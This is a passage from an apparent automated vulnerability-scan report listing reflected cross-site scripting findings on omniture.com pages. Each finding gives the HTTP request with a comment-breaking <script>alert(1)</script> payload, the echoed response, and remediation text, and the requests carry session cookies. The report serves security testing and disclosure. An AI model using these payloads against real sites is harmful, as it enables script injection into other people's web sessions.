GET /en/company/press_room/press_releases61f3b--><script>alert(1)</script>06bfdf5f2ee HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:51:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:51:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:51:13 GMT Content-Length: 27687 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:51:13 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_room/press_releases61f3b--><script>alert(1)</script>06bfdf5f2ee cached on 2 February 2011 at 21:51:13 PST (3e182dda72d919bb487cf22fb4356688) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 63cfe--><script>alert(1)</script>ec68a8888 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/academic_initiative63cfe--><script>alert(1)</script>ec68a8888 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:25 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:25 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:25 GMT Content-Length: 23141 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:25 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/academic_initiative63cfe--><script>alert(1)</script>ec68a8888 cached on 2 February 2011 at 11:14:25 PST (49a0cf06aef02c1953ee1e59392916d4) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload aac9c--><script>alert(1)</script>0cfe1c6bce6 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certificationaac9c--><script>alert(1)</script>0cfe1c6bce6 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:12 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:12 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:13 GMT Content-Length: 23133 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:12 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certificationaac9c--><script>alert(1)</script>0cfe1c6bce6 cached on 2 February 2011 at 11:11:12 PST (7236a2b72f422758dabbef5d691b2b1d) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 3847f--><script>alert(1)</script>625d24fd451 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification3847f--><script>alert(1)</script>625d24fd451/implementation HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:01 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:01 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:01 GMT Content-Length: 23163 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:01 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification3847f--><script>alert(1)</script>625d24fd451/implementation cached on 2 February 2011 at 11:12:01 PST (932413f6b44f522e113143663d0857d0) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 2b46f--><script>alert(1)</script>6354ab9e8f8 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/implementation2b46f--><script>alert(1)</script>6354ab9e8f8 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:42 GMT Content-Length: 23163 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/implementation2b46f--><script>alert(1)</script>6354ab9e8f8 cached on 2 February 2011 at 11:12:42 PST (db524171591dddceb95d342e172394a6) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 33d01--><script>alert(1)</script>27e3a465332 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification33d01--><script>alert(1)</script>27e3a465332/insight_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:21 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:21 GMT Content-Length: 23165 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification33d01--><script>alert(1)</script>27e3a465332/insight_analyst cached on 2 February 2011 at 11:12:21 PST (b0c675645e03e78436fabd49fced187a) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 5ec63--><script>alert(1)</script>2ee03132af2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/insight_analyst5ec63--><script>alert(1)</script>2ee03132af2 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:57 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:57 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:57 GMT Content-Length: 23165 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:57 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/insight_analyst5ec63--><script>alert(1)</script>2ee03132af2 cached on 2 February 2011 at 11:12:57 PST (fa42878b469d849f609e2e83fd8ad885) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 5c06f--><script>alert(1)</script>746d93a84eb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification5c06f--><script>alert(1)</script>746d93a84eb/insight_architect HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:12:34 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:12:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:12:34 GMT Content-Length: 23169 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:12:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification5c06f--><script>alert(1)</script>746d93a84eb/insight_architect cached on 2 February 2011 at 11:12:34 PST (a515a25e6d7b1a36a1eb5a0d92a87de8) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 7e26d--><script>alert(1)</script>246fdc9e602 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/insight_architect7e26d--><script>alert(1)</script>246fdc9e602 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:25 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:25 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:26 GMT Content-Length: 23169 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:25 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/insight_architect7e26d--><script>alert(1)</script>246fdc9e602 cached on 2 February 2011 at 11:13:25 PST (e3b09507cc079545ee170f7149f62ad7) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 7b60a--><script>alert(1)</script>1ae8da93c4c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification7b60a--><script>alert(1)</script>1ae8da93c4c/search_center HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:10 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:10 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:10 GMT Content-Length: 23161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:10 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification7b60a--><script>alert(1)</script>1ae8da93c4c/search_center cached on 2 February 2011 at 11:14:10 PST (0423b1d07b4c49d6e68bc1111d70ff38) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 2cdc2--><script>alert(1)</script>a3c62f92fdf was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/search_center2cdc2--><script>alert(1)</script>a3c62f92fdf HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:48 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:48 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:48 GMT Content-Length: 23161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:48 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/search_center2cdc2--><script>alert(1)</script>a3c62f92fdf cached on 2 February 2011 at 11:14:48 PST (1e550748a6f5818d589fb11cb33a1825) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 53c2a--><script>alert(1)</script>b70728db975 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification53c2a--><script>alert(1)</script>b70728db975/site_catalyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:30 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:30 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:30 GMT Content-Length: 23161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:30 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification53c2a--><script>alert(1)</script>b70728db975/site_catalyst cached on 2 February 2011 at 11:14:30 PST (b0181063ff4c76bf73b8d29b867a063c) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload dd1a3--><script>alert(1)</script>2046ce65027 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/education/certification/site_catalystdd1a3--><script>alert(1)</script>2046ce65027 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:56 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:56 GMT Content-Length: 23161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]... <!-- en/education/certification/site_catalystdd1a3--><script>alert(1)</script>2046ce65027 cached on 2 February 2011 at 11:14:56 PST (dd792be8f2827295755320a79f614cdf) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload a5207--><script>alert(1)</script>e0cb34aa69e was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
